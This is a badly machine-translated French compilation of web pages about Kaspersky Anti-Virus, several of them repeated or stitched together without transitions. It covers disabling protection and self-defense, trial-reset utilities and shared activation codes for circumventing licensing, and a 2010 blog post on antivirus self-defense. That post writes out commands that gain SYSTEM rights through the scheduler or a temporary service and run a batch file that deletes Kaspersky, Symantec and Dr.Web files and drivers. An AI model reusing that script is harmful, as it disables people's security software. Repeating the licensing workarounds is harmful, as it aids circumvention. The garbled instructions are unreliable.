Comme on le sait, la légitime défense de Kaspersky Anti-Virus est un composant qui remplit le rôle de la protection anti-malware antivirus logicielessayer de faire du mal au travail programme antivirus Ou supprimez-le de l'ordinateur. Désactiver la légitime défense Assez simple - dans le menu Paramètres. Cependant, vous ne pouvez pas toujours le faire. Dans cet article, découvrez quoi faire si kaspersky Selfewfense n'est pas désactivé Et comment le réparer.

Comment désactiver la légitime défense de Kaspersky

Sous des conditions normales Légétale Kaspersky S'éteint dans le menu Paramètres → aditionellement → Auto défense. Pour entrer dans les paramètres est nécessaire dans le coin inférieur droit de la fenêtre du programme principal, cliquez sur l'icône du matériel.

Puis clique Auto défense, Recevez la case à cocher avec l'inscription Inclure la légitime défense .

La légitime défense de Kaspersky n'est pas active

À l'expiration de la licence sur l'utilisation de Kaspersky, ses travaux sont suspendus et la plupart des fonctions sont bloquées. Parmi de telles fonctions et légitime défense. Pour restaurer le travail des composants de protection, vous devez activer Kaspersky sur une nouvelle licence ou utiliser la solution suivante pour résoudre le problème.

1. Supprimer Kaspersky à l'aide de l'utilitaire de suppression de produit Kaspersky Kaspersky Lab. Exécutez l'utilitaire, d'accord avec les conditions de la licence. Sélectionnez la version Kaspersky que vous souhaitez supprimer, entrez le code de capot dans le champ approprié et cliquez sur Effacer .

Après la suppression, le système proposera de redémarrer l'ordinateur - refuser de redémarrer. Faisons-le plus tard.

HKEY_LOCAL_MACHINE \\ LOGICIEL \\ KASPERSKYLAB

Retirez-le. Oui, supprimer, cliquez avec le bouton droit de la souris ...

HKEY_LOCAL_MACHINE \\ LOGICIEL \\ Microsoft \\ SystemCertificates \\ SPC

effacer.

4. Redémarrez l'ordinateur.

5. Après avoir démarré le système, installez l'antivirus. Si vous n'avez pas de fichier d'activation, vous pouvez utiliser la version du produit de 30 jours. Après activation, tous les composants deviendront disponibles.

De nombreux utilisateurs ont la nécessité de désactiver Kaspersky Anti-Virus depuis un moment. Les raisons de la mise en œuvre de cette procédure peuvent être un excellent ensemble: fausses réponses, installation de logiciels de pirate et de jeux, conflits de logiciels, lancement d'un autre programme antivirus, etc.

Cependant, tout le monde ne sait pas comment éteindre correctement Kaspersky pendant un moment.

Dans cet article, nous allons parler en détail de méthodes possibles Désactiver ce programme antivirus.

Désactivation temporaire

Pour désactiver temporairement antivirus:

1. Déplacez le curseur sur l'icône de Kaspersky dans le plateau (partie droite de la barre des tâches).

2. Clause le bouton droit de la souris.

3. Dans le menu contextuel, la clause de Clazzo "Suspension ...".

4. Sélectionnez le mode de suspension:

"… sur le temps spécifié"- Désactiver Kaspersky à la période spécifiée dans la liste déroulante. Cliquez dans le premier paragraphe «1 minute» Inscription et sélectionnez la valeur souhaitée (3 minutes, 5 minutes .... 3 heures, 5 heures).

"... avant de redémarrer le programme" - L'antivirus n'est activé qu'après le redémarrage;

"Suspendre" - Désactivation pour une période indéterminée: Kaspersky sera déconnecté jusqu'à ce que l'utilisateur y retourne à nouveau.

5. Après avoir sélectionné le mode, cliquez sur le bouton "Suspendre la protection".

6. Confirmez l'action: dans l'attention! La bougie "continue".

Noter. Dans la demande de confirmation, vous pouvez définir la réactivité de la demande dans les 30 prochaines minutes. Pour ce faire, vous devez installer une souris "oiseau" dans la fenêtre de superstructure.

7. Après la suspension, le message "La protection ne fonctionne pas" apparaîtra. Sur l'icône anti-virus dans le plateau, le symbole apparaîtra point d'exclamation"(Avertissement que le logiciel de protection est désactivé).

Autres façons de déconnexion

Vous pouvez utiliser d'autres options pour désactiver le programme anti-virus de Kaspersky.

Méthode n ° 1.

1. Cliquez sur l'icône du programme dans le plateau. Dans le menu, cliquez sur "Paramètres".

2. Dans l'onglet Général, dans la colonne "Protection", cliquez sur la souris cliquant sur la position du curseur sur "OFF".

Attention! Ici, sur l'onglet Général, vous pouvez désactiver démarrage automatique Antivirus lors de l'activation d'un ordinateur.

Méthode n ° 2.

Vous pouvez toujours décharger complètement le logiciel de protection de la mémoire - fermez le programme.

1. Ouvrez le menu dans le plateau et sélectionnez «Quitter».

2. Confirmez la fermeture de l'application: cliquez sur "Continuer" dans le panneau de requête.

Après avoir activé la sortie, l'icône de Treya disparaîtra. Pour démarrer l'antivirus à nouveau, vous devez utiliser son répertoire dans le menu Démarrer.

Désactiver la légitime défense

Si vous devez désactiver Kaspersky Selfewfense - un mécanisme logiciel spécial qui empêche la modification des éléments antivirus - exécuter cette instruction:

1. Accédez aux paramètres du programme et cliquez sur l'onglet Avancé.

2. Dans la liste à droite, sélectionnez «Axme-défense».

3. Cliquez sur la souris pour supprimer la "Cochez" dans la ligne "Activer l'autodéfense".

4. Confirmez la demande: Cliquez sur "Continuer".

Soyez prudent, désactivez Kaspersky Anti-Virus! Au cours de sa désactivation, votre PC n'a aucune protection et peut être soumis à toutes sortes d'attaques virales. Après avoir terminé les procédures nécessaires, vous devez activer à nouveau le logiciel de protection. S'il y a une nécessité constante de déconnecter l'antivirus lorsque vous démarrez une application spécifique ou téléchargez un site Web particulier, il est conseillé de les ajouter à des exceptions et non sur la désactivation temporaire.

DANS Kaspersky Anti-Virus Vous pouvez faire une pause de protection, c'est-à-dire de déconnecter pendant un certain temps tous les composants du programme, ainsi que de le reprendre.

La suspension de la protection du programme indique uniquement des composants de protection invalidants. La suspension de la protection n'affecte pas la vérification et la mise à jour dans Kaspersky Anti-Virus.

2. Comment suspendre la protection

Vous pouvez choisir l'un des modes de protection suivants:

• - La protection sera activée via l'intervalle de temps spécifié. La protection sera activée à l'heure définie si vous redémarrez le programme ou que vous redémarrez le système:
  • Si un allumé
  • Si un éteindre ).
• - La protection sera activée après le redémarrage du programme ou le redémarrer le système:
  • Si un allumé Démarrage automatique du programme, la protection sera automatiquement allumée.
  • Si un éteindre Lancement automatique du programme, pour activer la protection, vous devez exécuter le programme manuellement ( Démarrer - Tous les programmes - Kaspersky Anti-Virus).
• Suspendre - La protection ne sera activée que lorsque vous décidez de reprendre la protection.

Suspension de la protection du menu contextuel

Pour suspendre une protection contre l'ordinateur du menu contextuel du programme, procédez comme suit:

1. Dans la fenêtre Sauvegarde Sélectionnez l'un des éléments:
   • Suspendre à l'heure spécifiée
   • Suspendre avant de redémarrer.
   • Suspendre.

Saving Protection contre Kaspersky Gadget

Vous pouvez suspendre la protection avec un gadget Kaspersky Gadget. . Pour ça Kaspersky Gadget. Doit être configuré de manière à ce que la fonction soit attribuée à l'un de ses boutons. Sauvegarde.

Pour mettre en pause une protection de l'ordinateur en utilisant Kaspersky Gadget., Suivez ces étapes:

1. Dans la fenêtre Sauvegarde Sélectionnez l'un des éléments:

• Suspendre à l'heure spécifiée (Sur le terrain ci-dessous, spécifiez la période de temps à travers laquelle la protection sera reprise).
• Suspendre avant de redémarrer.
• Suspendre.

Sur cette page, vous trouverez des codes de Kaspersky Anti-Virus 2013-2018. Ainsi que des utilitaires de réinitialisation de la période d'essai (récupérations).

Au moment de publier toutes les clés et codes des travailleurs (vérifiés).

Codes de KIS et KAV 2013, 2014, 2015, 2016, 2017 et 2018

Codes d'essai officiel (essai). Attention! Avant l'activation, réinitialisez la période d'essai à l'aide d'un essai de réinitialisation de Kaspersky (regardez ci-dessous). Sinon, il n'est pas activé ou activé pendant 30 jours ou moins.

4CH4C-PPFDT-NFK4B-45R69 - 90 jours (KIS 2014 - 2018)
XZBB7-UZFBN-E8GAD-9GZUF - 60 jours (KIS 2013 - 2018)

JHJ7C-C69PX-MQY3J-PKG5B - 90 jours (KAV 2013-2018)
52MFR-XMPS3-RPXBM-K6T5E - 90 jours (KAV 2014-2018)

Pour l'activation, utilisez proxy France.
Proxy, vous devez entrer dans les paramètres suivants \u003d\u003e Avancé \u003d\u003e Réseau \u003d\u003e Paramètres de proxy (en bas).
Après activation, éteignez le proxy.

JAPXZ-9G9EJ-CSUV2-7YQUS - 45 jours

Après 90 jours, réinitialisez à nouveau la période d'essai et réactivez l'antivirus pendant 90 jours. Et puis encore encore ...

1. MODIQUENT DES LICENCES
   Les décharges ne seront plus. Les clés rapidement Bantas, puis l'antivirus cesse d'être mis à jour. Par conséquent, maintenant, le décharge n'a aucun sens.
2. Codes par an et plus
   Les codes longs gratuits ne seront pas aussi. Ne cherchez pas en ligne - les travailleurs ne trouveront pas. Ils sont baniques rapidement, même s'ils apparaissent.
   • Maintenant l'option la plus professionnelle pour Kis. - C'est l'activation à l'aide de codes d'essai pendant 90 jours, qui sont ci-dessus. Après expiration, nous laissons tomber la période d'essai et nous l'activons à nouveau. Je pense qu'il n'est pas difficile d'appuyer sur quelques boutons une fois tous les 3 mois.
   • Pour Kav. il y a clés de journal, mais il y a peu de sens d'eux, parce que Le plus souvent, ils sont donnés pendant 30 jours. Le moyen le plus simple de réinitialiser la période d'essai tous les mois. Aussi sur ce temps Il y a un code de 90 jours. Réinitialiser la période d'essai et activer. Tout comme S. Kis..
   • La même chose pour KTS. - le moyen le plus simple de réinitialiser la période d'essai tous les mois. Parfois, il existe des actions sur la distribution des clés en moyenne pendant 3 mois.
3. Quel est le résultat?
   Freebies comme avant (Clés pour 1-3 ans, décharges par an et plus, codes achetés) Plus, probablement pas. Caspera a été fait ces dernières années grand travail Combattre cela. Ils surveillent souvent les sites où ils distribuent les clés pour les interdire immédiatement. Tout ce que vous trouvez sur Internet est principalement des travailleurs ou de toute déception.

Réinitialisation d'essai pour Kaspersky (Rétablissement - réinitialisation de la période d'essai):

Kaspersky Reset Trial

Kaspersky Reset Trial - Un excellent outil de réinitialisation de la période d'essai et de l'activation à l'aide de Kaspersky Anti-Viduines Domane.

Kaspersky Antivirus. 2012.
Kaspersky Antivirus 2012.
Kaspersky Antivirus 2013.
Kaspersky Antivirus 2014.
Kaspersky Antivirus 2015.
Kaspersky Antivirus 2016.
Kaspersky Antivirus 2017.
Kaspersky Antivirus 2018.

De Kaspersky la sécurité sur Internet 2012
Kaspersky Internet Security 2013
Kaspersky Internet Security 2014
Kaspersky Internet Security 2015
Kaspersky Internet Security 2016
Kaspersky Internet Security 2017
Kaspersky Internet Security 2018

De Kaspersky Sécurité totale 2015
Kaspersky Total Security 2016
Kaspersky Total Security 2017
Kaspersky Total Security 2018

De Kaspersky Antivirus gratuit. 2016
Antivirus gratuit de Kaspersky 2017
Antivirus gratuit de Kaspersky 2018

Kaspersky Crystal 2.0.
Kaspersky Crystal 3.0.

Kaspersky Endpoint. Sécurité 8.
Kaspersky Endpoint Security 10

Kaspersky Small Bureau Security 2
Kaspersky Small Bureau Security 3
Kaspersky Small Bureau Security 4
Kaspersky Small Bureau Security 5

Télécharger Kaspersky Reset Trial 5.1 -

Kastrial.

Kastrial.- Utilitaire pour réinitialiser la période de test de Kaspersky Antivirus.

Toutes les caractéristiques de Kastrial:

• Kaspersky Activation à l'aide de la clé
  Maintenant, vous n'avez pas besoin d'entrer dans le code bêta avec Internet désactivé afin que vous puissiez activer à l'aide de la touche.
• Extraction de la clé Kaspersky
  Vous pouvez afficher la clé et le code d'activation de Kaspersky.
• Occasion arrêt complet KSN.
  Kaspersky Security Network (KSN) est une technologie antivirus «Cloud». Maintenant, vous pouvez le désactiver complètement.
• Suppression de rappels d'essai
  Suppression d'un rappel de l'utilisation d'une licence d'essai sur demande de licence.

Produits pris en charge:

• KIS / KAV 2010, 2011, 2012, 2013
• Kaspersky Cristal (pur) (à Crystal 2012)
• KAV 6.0.4.1424 WKS MP4
• Kaspersky Small Bureau Security 2 (pour serveurs de fichiers et PC)
• Kaspersky Endpoint Security 8

Comme vous le savez, la légitime défense de Kaspersky Anti-Virus est une composante qui effectue le rôle de protection de l'antivirus lui-même de logiciels malveillants essayant de nuire au travail du programme antivirus ou de la supprimer de l'ordinateur. Désactiver la légitime défense Assez simple - dans le menu Paramètres. Cependant, vous ne pouvez pas toujours le faire. Dans cet article, découvrez quoi faire si kaspersky Selfewfense n'est pas désactivé Et comment le réparer.

Légétale Kaspersky

Comment désactiver la légitime défense de Kaspersky

Sous des conditions normales Légétale Kaspersky S'éteint dans le menu Paramètres → aditionellement → Auto défense. Pour entrer dans les paramètres est nécessaire dans le coin inférieur droit de la fenêtre du programme principal, cliquez sur l'icône du matériel.

Puis clique Auto défenseet décochez la case en face de l'inscription Inclure la légitime défense .

La légitime défense de Kaspersky n'est pas active

À l'expiration de la licence sur l'utilisation de Kaspersky, ses travaux sont suspendus et la plupart des fonctions sont bloquées. Parmi de telles fonctions et légitime défense. Pour restaurer le travail des composants de protection, vous devez activer Kaspersky sur une nouvelle licence ou utiliser la solution suivante pour résoudre le problème.

1 Supprimer Kaspersky en utilisant l'utilitaire de production de Kaspersky Lab. Pour ce faire, courez l'utilitaire, d'accord avec les conditions de la licence. Dans la fenêtre qui apparaît, sélectionnez la version Kaspersky que vous souhaitez supprimer, entrez le code de capot dans le champ approprié et appuyez sur Effacer .

Après avoir supprimé le système, vous proposera de redémarrer l'ordinateur. Redémarrez. Faisons-le plus tard.

Lorsque vous utilisez Kaspersky Anti-Virus, il existe parfois des situations lorsque la protection doit être éteinte pendant un moment. Par exemple, vous devez télécharger certains le fichier souhaité.Et le système antivirus ne manque pas. Le programme a une telle fonction qui vous permet d'éteindre la protection pendant 30 minutes à l'aide d'un bouton, après avoir expiré ce temps, le programme vous rappellera. Cela a été fait pour que l'utilisateur n'oublierait pas d'activer la protection, exposant ainsi le système de danger.

Éteignez Kaspersky Anti-Virus

1. Afin de désactiver temporairement Kaspersky Anti-Virus, nous entrons dans le programme, nous trouvons "Paramètres".

2. Allez à l'onglet "Général". Au début du curseur de protection, changez. Antivirus est désactivé.

Vous pouvez le vérifier dans la fenêtre principale du programme. Lorsque la protection est désactivée, voir l'inscription "La protection est désactivée".

3. La même chose peut être faite en cliquant sur clé de droite Souris sur l'icône de Kaspersky, située sur le panneau inférieur. Ici, vous pouvez suspendre la protection pendant une certaine période ou à venir. Vous pouvez choisir l'option avant de redémarrer, c'est-à-dire une protection après l'activation de la surcharge de l'ordinateur.

Comment copier les paramètres et la légitime défense de Kaspersky 2010

Après avoir défini tous les paramètres de Kaspersky Anti-Virus à sa discrétion, vous pouvez exportation ou alors importer Pour une utilisation ultérieure, utilisez le modèle de paramètres sur d'autres ordinateurs où une application similaire a été installée. Par exemple, copiez des paramètres antivirus avec ordinateur de famille Et en utilisant le modèle créé, vous configurez rapidement des options de fonctionnement de l'application sur votre ordinateur de travail ou sur d'autres ordinateurs de réseau domestique.

Tous les paramètres sont enregistrés en tant que fichier de configuration spécial. Afin de sauvegarder le modèle de paramètres antivirus actuels, il est nécessaire de procéder à une opération. exportation paramètres spécifiés Application fonctionne en effectuant la séquence d'actions suivante. Dans la fenêtre de l'application principale, cliquez sur " Réglage", Après cela, dans la fenêtre qui s'ouvre dans le menu Objet, sélectionnez la section" Paramètres" Dans la partie centrale de la fenêtre, aller au bloc " ", Cliquez sur le bouton " Sauvegarder" La fenêtre apparaîtra à l'écran. Sélectionnez un fichier de configuration"Dans lequel vous voulez définir le nom du fichier stocké et le dossier sur lequel il sera placé. Ce fichier est attribué à une expansion. CFG (SI-EF GI). Fermez le bouton en appuyant sur le bouton " Sauvegarder».

Pour l'importation ultérieure des paramètres de l'antivirus à partir d'un fichier de configuration précédemment enregistré dans la fenêtre de l'application principale, cliquez sur le bouton " Réglage"Et dans la fenêtre qui s'ouvre dans la section de menu de gauche, sélectionnez la section" Paramètres" Aller au bloc " Gérer les paramètres du programme", Cliquez sur le bouton " Télécharger" Dans la fenêtre qui apparaît, trouvez le sauvegardé fichier de configuration., puis cliquez sur le bouton " Ouvert».

Pour sécuriser l'application de pénétrer dans ses fichiers système et ses paramètres de divers virus qui tentent d'empêcher son travail, la spécialité de Kaspersky Anti-Virus inclut une spéciale fonction de légitime défense et de protection contre l'exposition à distance. Lorsque vous utilisez Antivirus dans Microsoft Windows Vista. et 64 bits Systèmes d'exploitation Cette fonctionnalité est limitée au contrôle du mécanisme de l'autodéfense de l'application à partir de la modification ou de la suppression de ses propres fichiers sur le disque et des enregistrements du registre système.

Pour activer la fonction auto-défense antivirus Dans la fenêtre de l'application principale, cliquez sur " Réglage" Dans la fenêtre qui apparaît dans la section de menu de gauche, sélectionnez la section " Paramètres" Aller au bloc " Auto défense", Cochez la case" Inclure la légitime défense».

Si vous voulez bloquer accès à distance Pour contrôler les fonctions et les composants de l'antivirus, dans le bloc " Auto défense»Cochez la case" Désactiver la capacité contrôle externe service système" Dans le même temps, en cas de détection d'accès au contrôle des services antivirus, la notification appropriée apparaîtra au-dessus de l'icône de l'application dans la zone de notification du panneau de candidature.

(0)

Vue d'ensemble des interfaces et paramètres généraux
	1.	introduction Kaspersky Installation 2010.	2:24	0	5848
	2.	Vue d'ensemble du menu du programme KAV 2010	2:04	2	1517
	3.	Fenêtre d'application de base	3:03	0	1286
	4.	Définition des paramètres généraux	2:21	0	1427
	5.	Importation / exportation de paramètres antivirus et travail avec amusement ...	3:04	0	4248
	6.	Maître réglage initial Antivirus	2:45	0	2271
	7.	Configuration des applications de confiance	2:35	0	2734
	8.	Configurer des règles d'exception	2:47	0	1783
	9.	NOTIFICATIONS DE RÉGLAGE	2:46	0	1619
Travailler avec la section "Protection"
	10.	Vue d'ensemble des «fichiers et données personnelles»	2:12	0	1149
	11.	Examen de la sous-section "Systèmes et programmes"	2:56	0	925
	12.	Travailler avec la section "Réseau"	2:14	0	984
Travailler avec le fichier de fichiers antivirus
	13.	Vue d'ensemble du composant anti-virus de fichier	2:29	0	1550
	14.	Paramètres Paramètres Sous-section "Fichier antivirus"	2:45	0	789
	15.	Paramètres anti-virus de fichier avancé	2:52	0	885
	16.	Configurer les options de vérification du fichier composite	3:13	0	848
Travailler avec le composant "Antivirus postal"
	17.	Vue d'ensemble de la composante "antivirus postal"	3:23	0	838
	18.	Faits saillants du courrier anti-virus	3:27	0	854
	19.	La tâche paramètres additionnels Poster antivirus	2:50	0	766
Travailler avec le composant "Antivirus Web"
	20.	Vue d'ensemble de la composante "Antivirus Web"	2:15	0	664
	21.	Caractéristiques du composant "Antivirus Web"	2:24	0	1064
	22.	Modification des paramètres d'antivirus Web	2:10	0	936
	23.	Réglage des paramètres de la zone de protection et de la réaction à la ...	2:32	0	743
	24.	Modifier les paramètres analyse hurlique et optimi ...	3:04	0	906
	25.	Vérifier les composés protégés	3:10	0	3180
Vérification de l'ordinateur pour les virus
	26.	Description de la fonction "Vérus Vérification"	2:16	0	1326
	27.	Définition des paramètres de contrôle de base	2:56	0	1323
	28.	Options supplémentaires Chèques	2:19	0	876
	29.	Commencez à vérifier et à travailler avec un rapport	2:24	0	2271
	30.	Configuration du mode de lancement	2:01	0	956
	31.	Configuration de l'optimisation I. paramètres communs Chèques	1:42	0	1392
	32.	Définition de la numérisation des fichiers composites	1:58	0	795
Travailler avec la section "mise à jour"
	33.	Vue d'ensemble de la fonction "mise à jour"	1:59	0	2248
	34.	Faits saillants de travail avec la fonction "mise à jour"	2:47	0	1170
	35.	Modification des paramètres et démarrez la procédure de mise à jour	3:09	0	1514
	36.		3:18	0	5101

6 juillet 2010 à 01h28

Légitime défense des antivirus ou de couper antivirus sans couteau

• Antivirus défense

Bonjour tous le monde!

Récemment, nous avons déjà discuté du pouvoir des technologies heuristiques des antivirus modernes et sommes d'avis qu'il est impossible de croire personne. Même parfois vous-même :)

Aujourd'hui, nous parlerons d'un autre moment controversé d'antivirus - légitime défense. Certains fournisseurs sont très sérieux à propos de ce moment et leurs produits se situent même dans des cas complexes d'infection active, en supprimant efficacement les interceptions virales, dans le système et même ensuite, en supprimant les logiciels malveillants déjà bien parleurs. D'autres croient que infection active - Il s'agit d'une bataille avec des moulins à vent, de ne rien mener à rien, et donc - LiveCD, et dans certains cas et format C:

Nous allons rendre hommage aux deux opposants: bien sûr, s'il y a une occasion de vaincre la confrontation virale - c'est bon. Si seulement cela ne conduisit pas aux BSODS et chargez le système pendant quelques jours. Et il est absolument évident qu'avec une infection sérieuse et complexe, il est souvent impossible de briser la masse active d'interceptions, des processus malveillants au niveau du noyau et d'autres choses - et il est donc souvent plus difficile de traiter le système inactif (avec Livecd ou numériser le disque dur sur une machine non liée), mais dans le cas une variété d'infection de fichiers - et réfléchissez à réinstallation complète OS.

Mais nous ne nous livrerons pas aux différends - nous allons le laisser pour le prochain article :) Parlons de simples: sur le système d'autodéfense même sur un système délibérément non lié. Et nous acceptons une priori:

1) Il y a un produit intégré antivirus + hanches + pare-feu;
2) le système n'a pas été induit, mais d'une manière ou d'une autre pénétrée code malicieux;
3) Le code malveillant a son intention de supprimer l'antivirus ou de l'endommager pour assurer une inopérabilité totale.

Les actions seront les plus faciles - une tentative de supprimer vitale fichiers importants Antivirus avec les droits du système local. L'idée de cette approche appartient à mon bon ami Alexei Barana, qui a signalé sur elle dans des cercles fermés il y a quelque temps. Le temps passé, nous supposerons que les vendeurs sont retirés - vérifiez-le.

Sur les systèmes Windows, travaillant sous l'administrateur (etc., probablement, 80% de tous les systèmes) obtiennent simplement les droits du système local simplement. Dans la tête, vient immédiatement de deux manières qui sont bien décrites sur le réseau.

Méthode 1. Utilisation d'un planificateur.
Par défaut, tous les systèmes de travail Windows Systems fonctionnent. Ce service lance des tâches avec les lois du système local. Ensuite, il est très facile d'ajouter une tâche en quelque sorte:
À 11:05 C: \\ Killer.Bat
Et kill.bat commencera par les droits du système local.

Les avantages sont évidents: tout est simple et clair. Inconvénient: L'utilisateur peut remarquer une nouvelle tâche étrange dans le planificateur et pour désactiver ce service à des fins de sécurité.

Méthode 1. Créer un service.
L'essence de la méthode consiste à créer un service, il le démarre et la supprime. Dans ce cas, tout est mis en œuvre dans trois lignes:
SC Créer un type CMDassystem Type \u003d Type propre \u003d Interact BINPATH \u003d "CMD / C START / BAS / B CMD / C (C: \\ KILER.BAT)"
Démarrage net cmdassystem.
SC Supprimer CMDassystem

C'est la notualité que tueur.bat. Il commencera par la priorité absolue, elle sera également lancée pour le compte du système local.
La méthode est invisible, ne se manifeste pas.

Au moment de la publication de l'article KIS 2010, les deux méthodes ont manqué au niveau des hanches, sans même demander des autorisations.

Eh bien, maintenant allons à la même tueur.bat. (Dans notre cas, il est situé à la racine sur le disque avec, mais il est clair que vous pouvez le jeter n'importe où).

L'essence de ce fichier est simple: nous supprimons tout ce qui appartient à l'antivirus. Donc, pour Kaspersky 2010, ce sera:
NET STOP SRSERVICE.
Effacer / F / S / Q "C: \\ Program Files \\ Kaspersky Lab \\ Kaspersky Internet Security 2010"
Effacer / F / S / Q "% Windir% \\ System32 \\ Drivers \\ kl1.sys"
Effacer / F / S / Q "% Windir% \\ System32 \\ Drivers \\ klif.sys"
Effacer / F / S / Q "% Windir% \\ System32 \\ Drivers \\ klbg.sys"
Effacer / F / S / Q "% Windir% \\ System32 \\ Drivers \\ klim5.sys"
Effacer / F / S / Q "% Windir% \\ System32 \\ Drivers \\ klmd.sys"
Effacer / F / S / Q "% Windir% \\ System32 \\ Drivers \\ klmouflt.sys"

Pour Symantec quelque chose comme (qui sait plus précisément - correct, je suis moi-même sur Kaspersky):
NET STOP SRSERVICE.
Effacer / F / S / Q "C: \\ Program Files \\ Symantec"
Effacer / F / S / Q "C: \\ Fichiers de programme \\ Norton Internet Security"

Pour le Dr Web:
NET STOP SRSERVICE.
Effacer / F / S / Q "C: \\ Program Files \\ drweb"
Effacer / F / S / Q "% Windir% \\ System32 \\ Drivers \\ Dwprot.sys"
Effacer / F / S / Q "% Windir% \\ System32 \\ Drivers \\ drwebaf.sys"
Effacer / F / S / Q "% Windir% \\ System32 \\ Drivers \\ drwebpf.sys"
Effacer / F / S / Q "% Windir% \\ System32 \\ Drivers \\ Spiderg3.sys"
Shutdown -R -F -C "Bye-Bye !!!"

Il est clair que le script similaire peut être prescrit pour tous les antivirus - l'essence de la modification des moyens des fichiers vitaux.

Total - qu'est-ce qu'on a?

1. KIS 2010 a reçu de tels dommages qui ont été tués et le système est resté sans protection. KIS 2011 est privé de cette faiblesse sexuelle - mais il est toujours une version bêta ...
2. NIS a perdu plusieurs fichiers, mais les performances n'ont pas été violées, les fichiers ont été téléchargés et restaurés lors de la mise à jour à partir d'Internet.
3. DRWEB n'a pas du tout souffert, ce qui était attendu en tenant compte de l'objectif particulier du développeur pour confronter l'infection. Mais n'oubliez pas qu'il y a une spidie pour le web ...

Dans le même temps, les hanches de ces produits ont manqué tranquillement les deux variantes de manipulations (KISA vérifiées personnellement).

Conclusions
Malheureusement, il est nécessaire d'indiquer que certaines des solutions antivirales existantes ont un certain nombre de vulnérabilités pouvant être utilisées pour endommager la protection et supprimer réellement l'antivirus de l'ordinateur.

Il est proposé dans les commentaires d'ajouter des observations et des recherches sur d'autres produits antivirus (de préférence avec les hanches pour évaluer le niveau de bloquage des actions pour obtenir les droits du système locaux). Je pense que les manipulations décrites sont compréhensibles et peuvent être facilement reproduites sur machines virtuelles passionnés.

• auto défense
• vulnérabilités
• antivirus

Ajouter des balises

Depuis plus de trois ans, nous avons volontiers apprécié la version gratuite d'Antivirus Kaspersky Version Yandex, jetant la clé d'activation tous les 6 mois. La période de 6 mois n'a pas été choisie par hasard. Pendant ce temps, les utilisateurs devaient apprécier ce produit et à la fin de la période d'essai pour acheter une version payante.

Mais le 26 juillet 2013, Kaspersky a cessé de soutenir le produit. La situation était la suivante. Pour les utilisateurs qui n'ont pas mis fin au terme de licence, cela a juste volé. Les nouvelles versions n'ont pas été activées. Sauvé la situation du saut et installer la version payante de Kaspersky avec période d'essai pour un mois. Mais ici, tout n'est pas si simple. Après ce mois, il s'est avéré que l'utilité kavremover. ne voit pas dernière version Antivirus et non capable de l'enlever. Nettoyage des branches de registre ne conduisit pas à l'effet souhaité. Que donner ...

Un utilitaire appelé l'utilitaire Kaspersky Reset Trial. il utilité gratuite Pour réinitialiser l'essai (pour une utilisation multiple de la période d'essai). Ici sera approprié:

Kaspersky Anti-Virus détermine ce programme comme un virus. Je voudrais tout calmer.
Ce n'est pas un virus. Vérifié par moi et des milliers de personnes les mêmes utilisateurs ordinaires comme moi

Donc, sur le texte, je couperai en détail comment réinitialiser l'activation de Kaspersky Anti-Virus. Unique pas de commodité cette procédure viens jouer tous les mois. La version Yandex de Kaspersky a toujours travaillé avec vous). Continuons.

1. Vous devez d'abord télécharger le programme lui-même. Vous pouvez facilement trouver le programme sur Internet.

3. Puis désactivez Kaspersky Anti-Virus. Nous trouvons près de l'horloge dans le coin inférieur droit de l'écran de l'étiquette antivirus. Cliquez avec le bouton droit sur l'étiquette. Sélectionnez l'élément de menu "Quitter". Nous sommes d'accord avec le rapport que nous voulons vraiment fermer Kaspersky Anti-Virus.

4. Nous lançons que l'essai de Kaspersky Reset Réinitialisé a marqué précédemment.

À ce stade, si l'auto-défense antivirus n'est pas désactivé lorsque l'essai est réinitialisé, un message semble désactiver le désactivation. Déconnecter la légitime défense.

5. Après activation, Kaspersky Anti-Virus démarrera automatiquement. Activer version d'essai Produit.

Tout. Kaspersky Anti-Virus activé pendant 30 jours.

À la fin de l'article, il est nécessaire de parler un peu de la légalité de ces actions, qu'ils violent les règles de l'accord de licence de Kaspersky Anti-Virus. Tous ceux qui se rapportent à la version payante de l'antivirus diront que ces actions violent les règles d'utilisation produit logiciel Kaspersky, que toutes ces actions peuvent nuire à votre système opérateur et ordinateur. Lorsque vous installez l'antivirus pour la première fois, il modifie les valeurs de certains fichiers de votre système d'exploitation, de sorte qu'il serait possible d'utiliser à nouveau des licences gratuites. Lorsque la licence se termine, l'utilisateur doit être acheté une licence payée ou installer un autre antivirus, et l'ancien devra être supprimé. Une fois que Kaspersky Anti-Virus est supprimé, il ne renvoie pas les valeurs dans les fichiers système de votre système à l'état d'origine. Le programme décrit ici, cela revient simplement à l'état initial de la valeur. fichiers systèmequi après elle-même a changé Kaspersky Anti-Virus. Si nous installons sur le nouveau Kaspersky après ces actions ou le démarrez, il vérifiera la valeur des fichiers système et constatera qu'elles sont dans l'état d'origine, c'est-à-dire Pensez que cela est installé pour la première fois.

Sur la base de ce qui précède, nous ne produisons aucune action criminelle, ce qui signifie que nous pouvons utiliser cette méthode autant que possible au moins avant le moment où le laboratoire de Kaspersky n'apprendra pas à s'en occuper.

Que peut parler de ces fichiers Kaspersky Anti-Virus? Kaspersky et un certain nombre d'autres antivirus peuvent indiquer que ces fichiers sont des virus, ou plutôt pas des virus, mais " tabou". Sous le concept" tabou"Mesurer les programmes qui piraent d'autres programmes. Dans ce cas, ce programme vous permet de réutiliser licences gratuites Kaspersky, naturellement Kaspersky, ce n'est pas rentable et il criera que le virus trouvé.

Extension gratuite de la licence de Kasprash Anti-Virus | 2015-01-18 08:44:57 | Super utilisateur | Web | https: //sight/media/system/images/new.png. | Nous analyserons en détail comment réinitialiser version gratuite Kaspersky et libre d'étendre une licence pendant 30 jours | Kaspersky Trial, Relief Kaspersky, activation Kaspersky.Kaspersky gratuit, Free Kaspersky Anti-Virus, Kaspersky License Extension